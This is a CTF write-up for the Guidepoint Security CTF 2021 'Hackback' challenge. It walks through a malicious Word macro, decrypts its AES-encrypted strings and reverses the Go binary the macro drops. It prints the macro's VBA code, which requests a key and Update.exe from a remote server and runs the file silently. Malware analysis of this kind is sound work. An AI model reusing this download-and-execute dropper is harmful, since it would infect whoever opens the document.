Guidepoint Security CTF 2021 - Hackback (1 &) 2 (pwn)
This challenge is a little odd for me since I found the flag for part 2 but despite spending considerable time, never found the flag for part 1 of this challenge.
For this challenge we get a
.doc file (So ye olde MS Word format, none of that fancy new
.docx stuff.) as well as a web page, which does not seem to do much for us yet.
We quickly find this document contains macros, and using oledump.py we can extract the macro code.
The macro does some setup (like installing the .NET framework) but we’ll skip to the meat and potatoes of it;
Sub begin() Dim campaign As String Dim gofolderenc As String, sl As Integer Dim k As String, go As String sl = 1 campaign = "7" Sleep sl * 1000 gofolderenc = reqcreate(campaign, sl) k = initialize(gofolderenc) go = localpath & " " & gokey CreateObject("Wscript.Shell").Run go, 0, True End Sub
We’re setting a “campaign” and “sl” variable and running a
reqcreate function. Let’s have a look at that one.
Function reqcreate(campaign As String, sl As Integer) As String Dim folder As String Dim loc As String, r As Object, url As String h = "10.10.100.200" p = "55555" loc = "/create.php?c=" & campaign & "&s=" & sl Set r = CreateObject("WinHttp.WinHttpRequest.5.1") url = "http://" & h & ":" & p & loc r.Open "GET", url, False r.Option(0) = "Req Trick Agent v1.0" r.Option(4) = 13056 r.Option(12) = True r.Send reqcreate = r.ResponseText End Function
It looks like we’re making some request to our web server with the variables we set earlier. I’m not sure what
r.Option(0) is, but that looks like it might be a User-Agent string so we’ll include that in our request. (As it turns out you need to set the user-agent or the web server will give you an error.)
s parameter was used for a “sleep” before so I guessed the same would be true here and I just set to to 1 for my request. This turned out to work fine.
We now also have the value for
pU7T0iHVMZ5yAAaRp28mLafu/+FaRDzm7ypRqFA4YtODp77t8s+BAzU4DnTAf2XP in our example) and we can continue looking at the
Function initialize(gofolderenc As String) pw = "2jce3LsR9khUon5dLu2F1DlDDK5np1xP" keyfolder = "iDGJoEgNHt3DnfrGfcIVY1o/ytcANZVWq8167WFIc00uhfnYPcY673/E4mgGFeNh" iv = "Y21FR2lTdTE5Mk5OODBMaQ==" gokey = reqkey(keyfolder) gofolder = DecryptString(pw, iv, gofolderenc) initialize = reqfile(gofolder) End Function
We have some variables that look like they will be used for some decryption but let’s look at the
reqkey function first:
Function reqkey(folderec As String) As String Dim folder As String Dim loc As String, r As Object, url As String folder = DecryptString(pw, iv, folderec) loc = "/" & folder & "/Key.txt" Set r = CreateObject("WinHttp.WinHttpRequest.5.1") url = "http://" & h & ":" & p & loc r.Open "GET", url, False r.Option(0) = "Req Trick Agent v1.0" r.Option(4) = 13056 r.Option(12) = True r.Send reqkey = r.ResponseText End Function
It seems like we cannot avoid that
DecryptString function after all so let’s take a look at that then;
Attribute VB_Name = "DCString" Function DecryptString(pw As String, iv As String, ci As String) As String Dim text As Object, symmetricKey As Object, ivb As String Dim abc() As Byte, final() As Byt eSet text = CreateObject("System.Text.UTF8Encoding") Set symmetricKey = CreateObject("System.Security.Cryptography.RijndaelManaged") ivb = Decode64(iv) With symmetricKey .key = text.GetBytes_4(pw) .iv = text.GetBytes_4(ivb) .Padding = 2 End With abc = B64Decode(ci) final = symmetricKey.CreateDecryptor().TransformFinalBlock(abc, 0, UBound(abc) + 1) DecryptString = Decode64(B64Encode(final)) End Function
Now this may look a little daunting but anyone familiar with some common cryptography functions will probably see what’s going on here. It’s just doing base-64 decoding and AES in CBC mode. We can kindly ask cyberchef to do these steps for us since we have all the parameters we need now. The decrypted value is
z5q7BWy3EGQ1UhteLbRmZKVKlzcsCQbQ so now we just need to fire another http request at our web server for
/z5q7BWy3EGQ1UhteLbRmZKVKlzcsCQbQ/Key.txt and we have our
gokey variable value. (It was
dIOHgWh2IocX7YRsP8P6RyxbAbwCm9tl in our case.)
Now we know how to decrypt things we can also easily decrypt our
gofolderenc variable from earlier, which turns out to be
reqfile function is pretty much the same as
reqkey except we now grab a file called
Update.exe. Way back in our
begin function we can see that this binary will be launched with the
gokey variable as its first and only parameter.
The macro code does some cleanup of the binary after that, but nothing that we’re too terribly interested in, so let’s take a look at this binary in Ghidra next.
Reversing golang binaries can be a little tricky but starting at the
main.Main function (the entry point for a golang binary) we see a little checking if there’s an argument given (or gokey that was passed to it before) and then it just sleeps for a long time before calling the
Again, go binaries are a little rough in Ghidra, but looking trough the code for this
CBCDecrypter function I found another base64 string in the program. I did not find an IV in the go binary but guessed that it might be the same as before and it turned out that was correct, so I did not need to look for it further. Decrypting this with our gokey argument that was passed to the binary we get our flag for part 2.